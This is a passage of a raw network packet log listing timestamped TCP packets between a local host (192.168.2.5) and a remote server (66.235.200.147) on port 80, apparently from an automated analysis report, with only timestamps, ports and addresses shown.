Nov 27, 2022 04:36:40.014534950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014566898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014574051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014600039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014631033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014638901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014662981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014693975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014704943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014725924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014756918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014766932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.014787912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.014830112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015172005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015221119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015266895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015268087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015316010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015357971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015358925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015389919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015422106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015429974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015453100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015485048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015494108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015515089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015546083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015554905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015579939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015611887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015621901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015642881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015675068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015683889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015706062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015737057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015747070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015769005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.015810013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.015995026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016041994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016089916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016105890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.016138077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016184092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.016186953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016231060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016273022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016273022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.016319036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016352892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016360044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.016383886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016416073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016423941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.016448021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016479969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016489029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.016522884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.016562939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029115915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029176950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029210091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029248953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029293060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029344082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029361010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029372931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029397964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029401064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029426098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029454947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029462099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029483080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029494047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029510975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029540062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029551029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029567003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029597044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029607058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029624939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029653072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029664993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029681921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029710054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029723883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029737949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029764891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029778957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029793024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029820919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029834032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029848099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029875994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029890060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029905081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029932976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029946089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.029961109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029989004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.029999971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030016899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030056953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030132055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030173063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030211926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030215025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030251026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030289888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030296087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030323029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030350924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030363083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030378103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030405998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030417919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030433893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030461073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030473948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030541897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030571938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030585051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030599117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030628920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030637980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030656099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030688047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030697107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030715942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030744076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030756950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030772924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030800104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030811071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.030827999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.030869007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031054020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031095982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031131983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031145096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031169891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031208992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031213999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031245947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031284094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031286955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031318903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031346083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031356096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031374931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031402111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031413078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031430960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031459093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031467915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031485081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031512976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031522036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031539917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031567097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031575918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031596899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031624079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031634092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031651974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031678915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031688929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.031706095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.031744003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032088041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032126904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032162905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032171011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032198906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032238007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032247066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032285929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032320023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032322884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032347918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032377005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032386065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032403946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032432079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032440901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032470942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032505035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032535076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032536983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032565117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032597065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032598019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032639027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032644033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032679081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032716990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032721043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032757044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032783985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032819033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.032828093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.032872915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033070087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033107996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033149958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033154011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033185959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033226967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033229113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033257008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033284903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033297062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033312082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033339977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033351898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033368111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033396006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033407927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033423901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033451080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033467054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033478975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033505917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033520937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033534050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033580065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033584118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033608913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033652067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033679962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033689976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033706903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033730030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033735037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033778906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.033932924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.033972025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.034006119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.034019947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.034033060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.034060001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.034073114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.034087896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.034128904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.045429945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050496101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050522089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050535917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050551891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050565958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050584078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050601959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050618887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050635099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050651073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050659895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050668001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050683022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050698042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050714970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050721884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050731897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050749063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050765038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050765038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050781965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050795078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050806046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050826073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050828934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050848961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050868988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050872087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050900936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050910950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.050925016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050947905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050967932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050986052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.050992012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051007032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051018953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051028013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051050901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051055908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051069975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051095963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051105022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051112890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051129103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051141977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051146030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051162958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051177979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051178932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051196098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051212072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051213980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051229000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051237106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051245928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051261902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051271915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051279068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051295042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051306963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051311970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051327944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051335096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051345110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051361084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051377058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051384926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051393986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051410913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051422119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051426888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051444054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051448107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051460981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051470041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051476955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051493883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051505089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051511049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051527023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051538944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051542997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051559925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051565886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051577091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051594019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051610947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051620007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051628113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051645041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051652908 CET	49705	80	192.168.2.5	66.235.200.147
